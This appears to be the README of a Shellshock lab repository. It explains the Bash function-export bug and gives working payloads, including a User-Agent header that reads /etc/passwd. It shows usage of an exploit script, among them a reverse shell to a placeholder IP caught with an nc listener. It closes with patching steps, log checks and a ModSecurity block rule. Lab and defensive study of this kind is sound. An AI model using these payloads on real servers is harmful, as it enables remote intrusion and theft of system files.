# Normal: Bash exports functions as environment variables
my_function='() { echo "hello"; }'

# The bug: Bash continues parsing after the function definition
exploit='() { :;}; echo "PWNED"'  # The second command executes

User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

# Clone and setup
git clone https://github.com/YOUR-USERNAME/bash-apocalypse.git
cd bash-apocalypse

# Start vulnerable lab
docker-compose up -d

# Run exploit
chmod +x exploit.sh
./exploit.sh --url http://localhost:8080/cgi-bin/test.cgi --cmd "whoami"

./exploit.sh --scan --target localhost --port 8080

./exploit.sh --url http://target/cgi-bin/test.cgi --cmd "id"

# Terminal 1
nc -lvnp 4444

# Terminal 2
./exploit.sh --url http://target/cgi-bin/test.cgi --reverse-shell YOUR_IP:4444

User-Agent: () { :;}; echo; /bin/bash -c 'cat /etc/passwd'

클라이언트 (공격자)
    │
    │ 악의적인 User-Agent가 포함된 HTTP 요청
    ▼
웹 서버
    │
    │ 헤더를 환경 변수로 전달
    ▼
CGI 스크립트
    │
    │ Bash 프로세스 생성
    ▼
Bash 셸
    │
    │ 함수 구문 분석 + 후속 명령 실행
    ▼
명령 실행 (RCE)

# Update Bash
sudo apt-get update && sudo apt-get upgrade bash

# Disable CGI if not needed
sudo a2dismod cgi && sudo systemctl restart apache2

# Check logs for exploitation attempts
grep -E "\\(\\)|\\{.*\\}" /var/log/apache2/access.log

SecRule REQUEST_HEADERS "\\(\\).*\\{" "deny,status:403,msg:'Shellshock Attack'"

bash-apocalypse/
├── README.md
├── exploit.sh              # 주요 도구
├── payloads.txt            # 테스트 페이로드
├── docker-compose.yml      # 실습 설정
└── screenshots/
    ├── intercept.png
    ├── Payload.png
    └── result.png